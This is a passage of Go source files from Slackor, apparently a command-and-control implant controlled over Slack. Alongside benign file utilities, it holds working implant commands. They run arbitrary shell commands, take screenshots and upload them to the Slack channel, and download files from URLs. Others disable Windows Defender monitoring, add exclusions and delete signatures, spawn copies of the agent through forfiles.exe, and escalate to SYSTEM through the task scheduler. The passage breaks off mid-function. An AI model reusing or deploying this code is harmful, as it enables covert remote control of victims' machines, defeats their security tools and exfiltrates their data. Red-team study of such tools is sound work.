command.RegisterCommand(Kill{}) 26 | } 27 | -------------------------------------------------------------------------------- /pkg/common/ls.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io/ioutil" 7 | 8 | "github.com/dustin/go-humanize" 9 | "github.com/n00py/Slackor/pkg/command" 10 | ) 11 | 12 | // List the files in the given directory 13 | type List struct{} 14 | 15 | // Name is the name of the command 16 | func (l List) Name() string { 17 | return "ls" 18 | } 19 | 20 | // Run lists the files in the given directory 21 | func (l List) Run(clientID string, jobID string, args []string) (string, error) { 22 | if len(args) > 1 { 23 | return "", errors.New("ls takes 0 or 1 argument") 24 | } 25 | location := "./" 26 | if len(args) == 1 { 27 | location = args[0] 28 | } 29 | files, err := ioutil.ReadDir(location) 30 | if err != nil { 31 | return "", err 32 | } 33 | var result string 34 | for _, f := range files { 35 | size := humanize.IBytes(uint64(f.Size())) 36 | timestamp := f.ModTime() 37 | ts := timestamp.Format("01/02/2006 3:04:05 PM MST") 38 | dir := " " 39 | if f.IsDir() { 40 | dir = " " 41 | } 42 | result = result + fmt.Sprintf("%-28v", ts) + dir + fmt.Sprintf("%-9v", size) + " " + f.Name() + "\n" 43 | } 44 | return result, nil 45 | } 46 | 47 | func init() { 48 | command.RegisterCommand(List{}) 49 | } 50 | -------------------------------------------------------------------------------- /pkg/common/ls_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func TestListNoArgs(t *testing.T) { 11 | t.Run("ls", func(t *testing.T) { 12 | assert := assert.New(t) 13 | wd, _ := os.Getwd() 14 | os.Chdir("testdata/find") 15 | 16 | l := List{} 17 | output, err := l.Run("", "", []string{}) 18 | assert.NoError(err) 19 | for _, sub := range []string{"a.txt", "b.pem", "c.key", "subdir"} { 20 | assert.Contains(output, sub) 21 | } 22 | for _, sub := range []string{"d.pem"} { 23 | assert.NotContains(output, sub) 24 | } 25 | 26 | os.Chdir(wd) 27 | }) 28 | } 29 | 30 | func TestListWithArgs(t *testing.T) { 31 | t.Run("ls", func(t *testing.T) { 32 | assert := assert.New(t) 33 | wd, _ := os.Getwd() 34 | os.Chdir("testdata/find") 35 | 36 | l := List{} 37 | output, err := l.Run("", "", []string{"subdir"}) 38 | assert.NoError(err) 39 | for _, sub := range []string{"d.pem"} { 40 | assert.Contains(output, sub) 41 | } 42 | for _, sub := range []string{"a.txt", "b.pem", "c.key", "subdir"} { 43 | assert.NotContains(output, sub) 44 | } 45 | 46 | os.Chdir(wd) 47 | }) 48 | } 49 | -------------------------------------------------------------------------------- /pkg/common/mkdir.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // MkDir creates the given directory 11 | type MkDir struct{} 12 | 13 | // Name is the name of the command 14 | func (m MkDir) Name() string { 15 | return "mkdir" 16 | } 17 | 18 | // Run creates the given directory 19 | func (m MkDir) Run(clientID string, jobID string, args []string) (string, error) { 20 | if len(args) != 1 { 21 | return "", errors.New("mkdir takes 1 argument") 22 | } 23 | path := args[0] 24 | var err = os.Mkdir(path, os.FileMode(0522)) 25 | if err != nil { 26 | return "", err 27 | } 28 | return path + " has been created.", nil 29 | } 30 | 31 | func init() { 32 | command.RegisterCommand(MkDir{}) 33 | } 34 | -------------------------------------------------------------------------------- /pkg/common/pwd.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/n00py/Slackor/pkg/command" 7 | ) 8 | 9 | // PWD gets the current working directory 10 | type PWD struct{} 11 | 12 | // Name is the name of the command 13 | func (p PWD) Name() string { 14 | return "pwd" 15 | } 16 | 17 | // Run gets the current working directory 18 | func (p PWD) Run(clientID string, jobID string, args []string) (string, error) { 19 | return os.Getwd() 20 | } 21 | 22 | func init() { 23 | command.RegisterCommand(PWD{}) 24 | } 25 | -------------------------------------------------------------------------------- /pkg/common/pwd_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestPWD(t *testing.T) { 12 | tcs := []struct { 13 | name string 14 | path string 15 | }{ 16 | { 17 | "original dir", 18 | "", 19 | }, 20 | { 21 | "subdirectory", 22 | "subdir", 23 | }, 24 | } 25 | for _, tc := range tcs { 26 | t.Run(tc.name, func(t *testing.T) { 27 | assert := assert.New(t) 28 | wd, _ := os.Getwd() 29 | os.Chdir(filepath.Join("testdata/cat/", tc.path)) 30 | 31 | p := PWD{} 32 | output, err := p.Run("", "", []string{}) 33 | assert.NoError(err) 34 | assert.Contains(output, filepath.Join("testdata/cat/", tc.path)) 35 | os.Chdir(wd) 36 | }) 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /pkg/common/revive.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/n00py/Slackor/internal/slack" 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // Revive reregisters the implant with the channel 11 | type Revive struct{} 12 | 13 | // Name is the name of the command 14 | func (r Revive) Name() string { 15 | return "revive" 16 | } 17 | 18 | // Run reregisters the implant with the channel 19 | func (r Revive) Run(clientID string, jobID string, args []string) (string, error) { 20 | slack.Register(clientID) 21 | return fmt.Sprintf("Reregistering %s.", clientID), nil 22 | } 23 | 24 | func init() { 25 | command.RegisterCommand(Revive{}) 26 | } 27 | -------------------------------------------------------------------------------- /pkg/common/rm.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // RM removes the given file or empty directory 11 | type RM struct{} 12 | 13 | // Name is the name of the command 14 | func (p RM) Name() string { 15 | return "rm" 16 | } 17 | 18 | // Run removes the given file or empty directory 19 | func (p RM) Run(clientID string, jobID string, args []string) (string, error) { 20 | if len(args) != 1 { 21 | return "", errors.New("rm takes 1 argument") 22 | } 23 | path := args[0] 24 | err := os.Remove(path) 25 | if err != nil { 26 | return "", err 27 | } 28 | return path + " has been removed.", nil 29 | } 30 | 31 | func init() { 32 | command.RegisterCommand(RM{}) 33 | } 34 | -------------------------------------------------------------------------------- /pkg/common/rmdir.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | 7 | "github.com/n00py/Slackor/pkg/command" 8 | ) 9 | 10 | // RMDir removes the given empty directory 11 | type RMDir struct{} 12 | 13 | // Name is the name of the command 14 | func (p RMDir) Name() string { 15 | return "rmdir" 16 | } 17 | 18 | // Run removes the given empty directory 19 | func (p RMDir) Run(clientID string, jobID string, args []string) (string, error) { 20 | if len(args) != 1 { 21 | return "", errors.New("rm takes 1 argument") 22 | } 23 | path := args[0] 24 | st, err := os.Stat(path) 25 | if err != nil { 26 | return "", err 27 | } 28 | if !st.Mode().IsDir() { 29 | return "", errors.New("rmdir can only remove empty directories") 30 | } 31 | err = os.Remove(path) 32 | if err != nil { 33 | return "", err 34 | } 35 | return path + " has been removed.", nil 36 | } 37 | 38 | func init() { 39 | command.RegisterCommand(RMDir{}) 40 | } 41 | -------------------------------------------------------------------------------- /pkg/common/screenshot.go: -------------------------------------------------------------------------------- 1 | // +build !darwin 2 | // +build amd64 3 | 4 | // TODO: Screenshots on darwin are disabled since it doesn't reliably cross-compile. Fix later. 5 | 6 | package common 7 | 8 | import ( 9 | "image/png" 10 | "math/rand" 11 | "os" 12 | "strconv" 13 | "time" 14 | 15 | "github.com/kbinani/screenshot" 16 | "github.com/n00py/Slackor/internal/slack" 17 | ) 18 | 19 | func randomString(len int) string { //Creates a random string of uppercase letters 20 | bytes := make([]byte, len) 21 | for i := 0; i < len; i++ { 22 | bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25 23 | } 24 | return string(bytes) 25 | } 26 | 27 | // Screenshot takes screenshot(s) and uploads them 28 | type Screenshot struct{} 29 | 30 | // Name is the name of the command 31 | func (s Screenshot) Name() string { 32 | return "screenshot" 33 | } 34 | 35 | // Run takes screenshot(s) and uploads them 36 | func (s Screenshot) Run(clientID string, jobID string, args []string) (string, error) { 37 | n := screenshot.NumActiveDisplays() 38 | rand.Seed(time.Now().UTC().UnixNano()) 39 | for i := 0; i < n; i++ { 40 | bounds := screenshot.GetDisplayBounds(i) 41 | img, _ := screenshot.CaptureRect(bounds) 42 | screen, _ := os.Create(clientID + "_" + strconv.Itoa(i) + "_" + string(time.Now().Format("20060102150405")) + ".png") 43 | png.Encode(screen, img) 44 | screen.Close() 45 | err := slack.Upload(clientID, randomString(5), screen.Name()) 46 | if err != nil { 47 | return "", err 48 | } 49 | os.Remove(string(screen.Name())) 50 | } 51 | return "Screenshot(s) uploaded.", nil 52 | } 53 | -------------------------------------------------------------------------------- /pkg/common/sleep.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "strconv" 6 | "time" 7 | 8 | "github.com/n00py/Slackor/pkg/command" 9 | ) 10 | 11 | // Sleep pauses for N seconds 12 | type Sleep struct{} 13 | 14 | // Name is the name of the command 15 | func (s Sleep) Name() string { 16 | return "sleep" 17 | } 18 | 19 | // Run pauses for N seconds 20 | func (s Sleep) Run(clientID string, jobID string, args []string) (string, error) { 21 | if len(args) != 1 { 22 | return "", errors.New("sleep takes 1 argument") 23 | } 24 | sleeptime, _ := strconv.Atoi(args[0]) 25 | time.Sleep(time.Duration(sleeptime) * time.Second) 26 | return "", nil 27 | } 28 | 29 | func init() { 30 | command.RegisterCommand(Sleep{}) 31 | } 32 | -------------------------------------------------------------------------------- /pkg/common/testdata/cat/a.txt: -------------------------------------------------------------------------------- 1 | The quick brown fox jumped over the lazy dog. 2 | -------------------------------------------------------------------------------- /pkg/common/testdata/cat/subdir/b.txt: -------------------------------------------------------------------------------- 1 | Sphinx of black quartz, judge my vow. 2 | -------------------------------------------------------------------------------- /pkg/common/testdata/find/a.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/a.txt -------------------------------------------------------------------------------- /pkg/common/testdata/find/b.pem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/b.pem -------------------------------------------------------------------------------- /pkg/common/testdata/find/c.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/c.key -------------------------------------------------------------------------------- /pkg/common/testdata/find/subdir/d.pem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/common/testdata/find/subdir/d.pem -------------------------------------------------------------------------------- /pkg/common/upload.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "os" 9 | "strings" 10 | 11 | "github.com/n00py/Slackor/internal/config" 12 | "github.com/n00py/Slackor/pkg/command" 13 | ) 14 | 15 | // Upload retrieves a file from a URL and writes it to disk 16 | type Upload struct{} 17 | 18 | // Name is the name of the command 19 | func (u Upload) Name() string { 20 | return "upload" 21 | } 22 | 23 | // Run retrieves a file from a URL and writes it to disk 24 | func (u Upload) Run(clientID string, jobID string, args []string) (string, error) { 25 | if len(args) != 1 { 26 | return "", errors.New("upload takes 1 argument") 27 | } 28 | // The upload command downloads files and writes them to disk 29 | // Command is named from the perspective of the remote system 30 | url := args[0] 31 | filename := strings.Split(url, "/") 32 | filename = strings.Split(filename[len(filename)-1], "?") 33 | out, err := os.Create(filename[0]) 34 | if err != nil { 35 | return "", err 36 | } 37 | defer out.Close() 38 | // Get the data 39 | client := &http.Client{} 40 | req, err := http.NewRequest("GET", url, nil) 41 | if err != nil { 42 | return "", err 43 | } 44 | if strings.Contains(url, "slack.com") { 45 | req.Header.Set("Authorization", "Bearer "+config.Token) 46 | } 47 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 48 | res, err := client.Do(req) 49 | if err != nil { 50 | return "", err 51 | } 52 | // Write the body to file 53 | _, err = io.Copy(out, res.Body) 54 | if err != nil { 55 | return "", err 56 | } 57 | return fmt.Sprintf("File uploaded to %s", filename[0]), nil 58 | } 59 | 60 | func init() { 61 | command.RegisterCommand(Upload{}) 62 | } 63 | -------------------------------------------------------------------------------- /pkg/common/whoami.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os/user" 5 | 6 | "github.com/n00py/Slackor/pkg/command" 7 | ) 8 | 9 | // WhoAmI returns the current user 10 | type WhoAmI struct{} 11 | 12 | // Name is the name of the command 13 | func (s WhoAmI) Name() string { 14 | return "whoami" 15 | } 16 | 17 | // Run returns the current user 18 | func (s WhoAmI) Run(clientID string, jobID string, args []string) (string, error) { 19 | user, err := user.Current() 20 | if err != nil { 21 | return "", err 22 | } 23 | return string(user.Username), nil 24 | } 25 | 26 | func init() { 27 | command.RegisterCommand(WhoAmI{}) 28 | } 29 | -------------------------------------------------------------------------------- /pkg/darwin/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/darwin/.gitkeep -------------------------------------------------------------------------------- /pkg/darwin/execute.go: -------------------------------------------------------------------------------- 1 | // +build darwin 2 | 3 | package darwin 4 | 5 | import ( 6 | "bytes" 7 | "fmt" 8 | "os/exec" 9 | "strings" 10 | 11 | "github.com/n00py/Slackor/pkg/command" 12 | ) 13 | 14 | var cmdName = "bash" 15 | 16 | // Execute runs an arbitrary command 17 | type Execute struct{} 18 | 19 | // Name is the name of the command 20 | func (e Execute) Name() string { 21 | return "execute" 22 | } 23 | 24 | // Run runs an arbitrary command 25 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) { 26 | cmdArgs := []string{"-c"} 27 | cmdArgs = append(cmdArgs, strings.Join(args, " ")) 28 | cmd := exec.Command(cmdName, cmdArgs...) 29 | fmt.Println("Running command: " + strings.Join(args, " ")) 30 | var out bytes.Buffer 31 | var stderr bytes.Buffer 32 | cmd.Stdout = &out 33 | cmd.Stderr = &stderr 34 | err := cmd.Run() 35 | if err != nil { 36 | return stderr.String(), err 37 | } 38 | return out.String(), nil 39 | } 40 | 41 | func init() { 42 | command.RegisterCommand(Execute{}) 43 | } 44 | -------------------------------------------------------------------------------- /pkg/darwin/sysinfo.go: -------------------------------------------------------------------------------- 1 | package darwin 2 | -------------------------------------------------------------------------------- /pkg/darwin/version.go: -------------------------------------------------------------------------------- 1 | // +build darwin 2 | 3 | package darwin 4 | 5 | import ( 6 | "encoding/xml" 7 | "fmt" 8 | "github.com/n00py/Slackor/internal/config" 9 | "github.com/n00py/Slackor/pkg/command" 10 | "io/ioutil" 11 | "os" 12 | ) 13 | 14 | // Version gets the OS version 15 | type Version struct{} 16 | 17 | // Name is the name of the command 18 | func (ver Version) Name() string { 19 | return "version" 20 | } 21 | 22 | type Plist struct { 23 | XMLName xml.Name `xml:"plist"` 24 | Text string `xml:",chardata"` 25 | Version string `xml:"version,attr"` 26 | Dict struct { 27 | Text string `xml:",chardata"` 28 | Key []string `xml:"key"` 29 | String []string `xml:"string"` 30 | } `xml:"dict"` 31 | } 32 | 33 | // Run gets the OS version 34 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) { 35 | path := "/System/Library/CoreServices/SystemVersion.plist" 36 | xmlFile, err := os.Open(path) 37 | if err != nil { 38 | fmt.Println(err) 39 | } 40 | byteValue, _ := ioutil.ReadAll(xmlFile) 41 | defer xmlFile.Close() 42 | var Version Plist 43 | xml.Unmarshal(byteValue, &Version) 44 | version := Version.Dict.String[2] + " " + Version.Dict.String[3] 45 | config.OSVersion = version 46 | return config.OSVersion, nil 47 | } 48 | 49 | func init() { 50 | command.RegisterCommand(Version{}) 51 | } 52 | -------------------------------------------------------------------------------- /pkg/doc.go: -------------------------------------------------------------------------------- 1 | // Package pkg is the collection of utility packages and commands used by 2 | // Slackor components which are not specific to its internals. 3 | // 4 | // Utility packages and commands are kept separate from the Slackor core 5 | // codebase to keep it as small and concise as possible and to allow code 6 | // reuse. 7 | package pkg 8 | -------------------------------------------------------------------------------- /pkg/linux/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/pkg/linux/.gitkeep -------------------------------------------------------------------------------- /pkg/linux/execute.go: -------------------------------------------------------------------------------- 1 | // +build linux 2 | 3 | package linux 4 | 5 | import ( 6 | "bytes" 7 | "fmt" 8 | "os/exec" 9 | "strings" 10 | 11 | "github.com/n00py/Slackor/pkg/command" 12 | ) 13 | 14 | var cmdName = "sh" 15 | 16 | // Execute runs an arbitrary command 17 | type Execute struct{} 18 | 19 | // Name is the name of the command 20 | func (e Execute) Name() string { 21 | return "execute" 22 | } 23 | 24 | // Run runs an arbitrary command 25 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) { 26 | cmdArgs := []string{"-c"} 27 | cmdArgs = append(cmdArgs, strings.Join(args, " ")) 28 | cmd := exec.Command(cmdName, cmdArgs...) 29 | fmt.Println("Running command: " + strings.Join(args, " ")) 30 | var out bytes.Buffer 31 | var stderr bytes.Buffer 32 | cmd.Stdout = &out 33 | cmd.Stderr = &stderr 34 | err := cmd.Run() 35 | if err != nil { 36 | return stderr.String(), err 37 | } 38 | return out.String(), nil 39 | } 40 | 41 | func init() { 42 | command.RegisterCommand(Execute{}) 43 | } 44 | -------------------------------------------------------------------------------- /pkg/linux/sysinfo.go: -------------------------------------------------------------------------------- 1 | package linux 2 | -------------------------------------------------------------------------------- /pkg/linux/version.go: -------------------------------------------------------------------------------- 1 | // +build linux 2 | 3 | package linux 4 | 5 | import ( 6 | "github.com/n00py/Slackor/internal/config" 7 | "github.com/n00py/Slackor/pkg/command" 8 | "io/ioutil" 9 | "strings" 10 | ) 11 | 12 | // Version gets the OS version 13 | type Version struct{} 14 | 15 | // Name is the name of the command 16 | func (ver Version) Name() string { 17 | return "version" 18 | } 19 | 20 | // Run gets the OS version 21 | func (ver Version) Run(clientID string, jobID string, args []string) (string, error) { 22 | path := "/proc/version" 23 | content, _ := ioutil.ReadFile(path) 24 | version := strings.Split(string(content), "(") 25 | config.OSVersion = version[0] 26 | return config.OSVersion, nil 27 | } 28 | 29 | func init() { 30 | command.RegisterCommand(Version{}) 31 | } 32 | -------------------------------------------------------------------------------- /pkg/windows/check_admin.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import "os" 6 | 7 | func checkForAdmin() bool { //attempts to get a file handle on MBR, only Admin can 8 | _, err := os.Open("\\\\.\\PHYSICALDRIVE0") 9 | if err != nil { 10 | return false 11 | } 12 | return true 13 | } 14 | -------------------------------------------------------------------------------- /pkg/windows/const.go: -------------------------------------------------------------------------------- 1 | package windows 2 | 3 | const ( 4 | // MEM_COMMIT is a Windows constant used with Windows API calls 5 | MEM_COMMIT = 0x1000 6 | // MEM_RESERVE is a Windows constant used with Windows API calls 7 | MEM_RESERVE = 0x2000 8 | // MEM_RELEASE is a Windows constant used with Windows API calls 9 | MEM_RELEASE = 0x8000 10 | // PAGE_EXECUTE is a Windows constant used with Windows API calls 11 | PAGE_EXECUTE = 0x10 12 | // PAGE_EXECUTE_READWRITE is a Windows constant used with Windows API calls 13 | PAGE_EXECUTE_READWRITE = 0x40 14 | // PAGE_READWRITE is a Windows constant used with Windows API calls 15 | PAGE_READWRITE = 0x04 16 | // PROCESS_CREATE_THREAD is a Windows constant used with Windows API calls 17 | PROCESS_CREATE_THREAD = 0x0002 18 | // PROCESS_VM_READ is a Windows constant used with Windows API calls 19 | PROCESS_VM_READ = 0x0010 20 | //PROCESS_VM_WRITE is a Windows constant used with Windows API calls 21 | PROCESS_VM_WRITE = 0x0020 22 | // PROCESS_VM_OPERATION is a Windows constant used with Windows API calls 23 | PROCESS_VM_OPERATION = 0x0008 24 | // PROCESS_QUERY_INFORMATION is a Windows constant used with Windows API calls 25 | PROCESS_QUERY_INFORMATION = 0x0400 26 | // TH32CS_SNAPHEAPLIST is a Windows constant used with Windows API calls 27 | TH32CS_SNAPHEAPLIST = 0x00000001 28 | // TH32CS_SNAPMODULE is a Windows constant used with Windows API calls 29 | TH32CS_SNAPMODULE = 0x00000008 30 | // TH32CS_SNAPPROCESS is a Windows constant used with Windows API calls 31 | TH32CS_SNAPPROCESS = 0x00000002 32 | // TH32CS_SNAPTHREAD is a Windows constant used with Windows API calls 33 | TH32CS_SNAPTHREAD = 0x00000004 34 | // THREAD_SET_CONTEXT is a Windows constant used with Windows API calls 35 | THREAD_SET_CONTEXT = 0x0010 36 | ERROR_ALREADY_EXISTS = 183 37 | 38 | // Virtual-Key Codes 39 | vk_BACK = 0x08 40 | vk_TAB = 0x09 41 | vk_CLEAR = 0x0C 42 | vk_RETURN = 0x0D 43 | vk_SHIFT = 0x10 44 | vk_CONTROL = 0x11 45 | vk_MENU = 0x12 46 | vk_PAUSE = 0x13 47 | vk_CAPITAL = 0x14 48 | vk_ESCAPE = 0x1B 49 | vk_SPACE = 0x20 50 | vk_PRIOR = 0x21 51 | vk_NEXT = 0x22 52 | vk_END = 0x23 53 | vk_HOME = 0x24 54 | vk_LEFT = 0x25 55 | vk_UP = 0x26 56 | vk_RIGHT = 0x27 57 | vk_DOWN = 0x28 58 | vk_SELECT = 0x29 59 | vk_PRINT = 0x2A 60 | vk_EXECUTE = 0x2B 61 | vk_SNAPSHOT = 0x2C 62 | vk_INSERT = 0x2D 63 | vk_DELETE = 0x2E 64 | vk_LWIN = 0x5B 65 | vk_RWIN = 0x5C 66 | vk_APPS = 0x5D 67 | vk_SLEEP = 0x5F 68 | vk_NUMPAD0 = 0x60 69 | vk_NUMPAD1 = 0x61 70 | vk_NUMPAD2 = 0x62 71 | vk_NUMPAD3 = 0x63 72 | vk_NUMPAD4 = 0x64 73 | vk_NUMPAD5 = 0x65 74 | vk_NUMPAD6 = 0x66 75 | vk_NUMPAD7 = 0x67 76 | vk_NUMPAD8 = 0x68 77 | vk_NUMPAD9 = 0x69 78 | vk_MULTIPLY = 0x6A 79 | vk_ADD = 0x6B 80 | vk_SEPARATOR = 0x6C 81 | vk_SUBTRACT = 0x6D 82 | vk_DECIMAL = 0x6E 83 | vk_DIVIDE = 0x6F 84 | vk_F1 = 0x70 85 | vk_F2 = 0x71 86 | vk_F3 = 0x72 87 | vk_F4 = 0x73 88 | vk_F5 = 0x74 89 | vk_F6 = 0x75 90 | vk_F7 = 0x76 91 | vk_F8 = 0x77 92 | vk_F9 = 0x78 93 | vk_F10 = 0x79 94 | vk_F11 = 0x7A 95 | vk_F12 = 0x7B 96 | vk_NUMLOCK = 0x90 97 | vk_SCROLL = 0x91 98 | vk_LSHIFT = 0xA0 99 | vk_RSHIFT = 0xA1 100 | vk_LCONTROL = 0xA2 101 | vk_RCONTROL = 0xA3 102 | vk_LMENU = 0xA4 103 | vk_RMENU = 0xA5 104 | vk_OEM_1 = 0xBA 105 | vk_OEM_PLUS = 0xBB 106 | vk_OEM_COMMA = 0xBC 107 | vk_OEM_MINUS = 0xBD 108 | vk_OEM_PERIOD = 0xBE 109 | vk_OEM_2 = 0xBF 110 | vk_OEM_3 = 0xC0 111 | vk_OEM_4 = 0xDB 112 | vk_OEM_5 = 0xDC 113 | vk_OEM_6 = 0xDD 114 | vk_OEM_7 = 0xDE 115 | vk_OEM_8 = 0xDF 116 | ) 117 | -------------------------------------------------------------------------------- /pkg/windows/defanger.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "os/exec" 7 | "syscall" 8 | 9 | "errors" 10 | 11 | "github.com/n00py/Slackor/pkg/command" 12 | ) 13 | 14 | // Defanger stops real-time monitoring or adds a C:\ exclusion or deletes signatures 15 | type Defanger struct{} 16 | 17 | // Name is the name of the command 18 | func (d Defanger) Name() string { 19 | return "defanger" 20 | } 21 | 22 | // Run stops real-time monitoring or adds a C:\ exclusion or deletes signatures 23 | func (d Defanger) Run(clientID string, jobID string, args []string) (string, error) { 24 | if len(args) != 1 { 25 | return "", errors.New("defanger takes 1 argument") 26 | } 27 | mode := args[0] 28 | if checkForAdmin() { 29 | switch mode { 30 | case "realtime": 31 | cmdName := "powershell.exe" 32 | cmdRT := exec.Command(cmdName) 33 | cmdArgs := []string{"Set-MpPreference -DisableRealtimeMonitoring $true"} 34 | cmdRT = exec.Command(cmdName, cmdArgs...) 35 | cmdRT.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 36 | err := cmdRT.Run() 37 | if err != nil { 38 | return "", err 39 | } 40 | case "exclusion": 41 | cmdName := "powershell.exe" 42 | cmdE := exec.Command(cmdName) 43 | cmdEArgs := []string{"Add-MpPreference -ExclusionPath C:\\"} 44 | cmdE = exec.Command(cmdName, cmdEArgs...) 45 | cmdE.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 46 | err := cmdE.Run() 47 | if err != nil { 48 | return "", err 49 | } 50 | case "signatures": 51 | cmdName := "cmd.exe" 52 | cmdS := exec.Command(cmdName) 53 | cmdArgs := []string{"\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true"} 54 | cmdS = exec.Command(cmdName, cmdArgs...) 55 | cmdS.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 56 | err := cmdS.Run() 57 | if err != nil { 58 | return "", err 59 | } 60 | } 61 | return "Attempted to defang.", nil 62 | } else { 63 | return "", errors.New("agent is not running as high integrity") 64 | } 65 | } 66 | 67 | func init() { 68 | command.RegisterCommand(Defanger{}) 69 | } 70 | -------------------------------------------------------------------------------- /pkg/windows/duplicate.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "bytes" 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | 13 | "github.com/n00py/Slackor/pkg/command" 14 | ) 15 | 16 | // Duplicate spawns a new agent using forfiles.exe 17 | type Duplicate struct{} 18 | 19 | // Name is the name of the command 20 | func (d Duplicate) Name() string { 21 | return "duplicate" 22 | } 23 | 24 | // Run spawns a new agent using forfiles.exe 25 | func (d Duplicate) Run(clientID string, jobID string, args []string) (string, error) { 26 | cmdName := "forfiles.exe" 27 | ex, err := os.Executable() 28 | if err != nil { 29 | panic(err) 30 | } 31 | exPath := filepath.Dir(ex) 32 | exName := filepath.Base(os.Args[0]) 33 | exAgent := ("\"" + exPath + "\\" + exName + "\"") 34 | 35 | cmd := exec.Command(cmdName) 36 | cmdArgs := []string{"/p", `c:\windows\system32`, "/m", "svchost.exe", "/c", exAgent} 37 | cmd = exec.Command(cmdName, cmdArgs...) 38 | var out bytes.Buffer 39 | var stderr bytes.Buffer 40 | cmd.Stdout = &out 41 | cmd.Stderr = &stderr 42 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 43 | err = cmd.Run() 44 | if err != nil { 45 | return "", err 46 | } 47 | return fmt.Sprintf("Duplicated %s.", exAgent), nil 48 | } 49 | 50 | func init() { 51 | command.RegisterCommand(Duplicate{}) 52 | } 53 | -------------------------------------------------------------------------------- /pkg/windows/execute.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "bytes" 7 | "fmt" 8 | "os/exec" 9 | "strings" 10 | "syscall" 11 | 12 | "github.com/n00py/Slackor/pkg/command" 13 | ) 14 | 15 | var cmdName = "cmd.exe" 16 | 17 | // Execute runs an arbitrary command 18 | type Execute struct{} 19 | 20 | // Name is the name of the command 21 | func (e Execute) Name() string { 22 | return "execute" 23 | } 24 | 25 | // Run runs an arbitrary command 26 | func (e Execute) Run(clientID string, jobID string, args []string) (string, error) { 27 | cmdArgs := []string{"/c"} 28 | cmdArgs = append(cmdArgs, args...) 29 | cmd := exec.Command(cmdName, cmdArgs...) 30 | fmt.Println("Running command: " + strings.Join(args, " ")) 31 | var out bytes.Buffer 32 | var stderr bytes.Buffer 33 | cmd.Stdout = &out 34 | cmd.Stderr = &stderr 35 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 36 | err := cmd.Run() 37 | if err != nil { 38 | return stderr.String(), err 39 | } 40 | return out.String(), nil 41 | } 42 | 43 | func init() { 44 | command.RegisterCommand(Execute{}) 45 | } 46 | -------------------------------------------------------------------------------- /pkg/windows/get_system.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "github.com/n00py/Slackor/pkg/command" 7 | "math/rand" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | ) 13 | 14 | func randomString(len int) string { //Creates a random string of uppercase letters 15 | bytes := make([]byte, len) 16 | for i := 0; i < len; i++ { 17 | bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25 18 | } 19 | return string(bytes) 20 | } 21 | 22 | // GetSystem uses task scheduler to execute the binary as SYSTEM 23 | type GetSystem struct{} 24 | 25 | // Name is the name of the command 26 | func (g GetSystem) Name() string { 27 | return "getsystem" 28 | } 29 | 30 | // Run uses task scheduler to execute the binary as SYSTEM 31 | func (g GetSystem) Run(clientID string, jobID string, args []string) (string, error) { 32 | taskname := randomString(6) 33 | ex, err := os.Executable() 34 | if err != 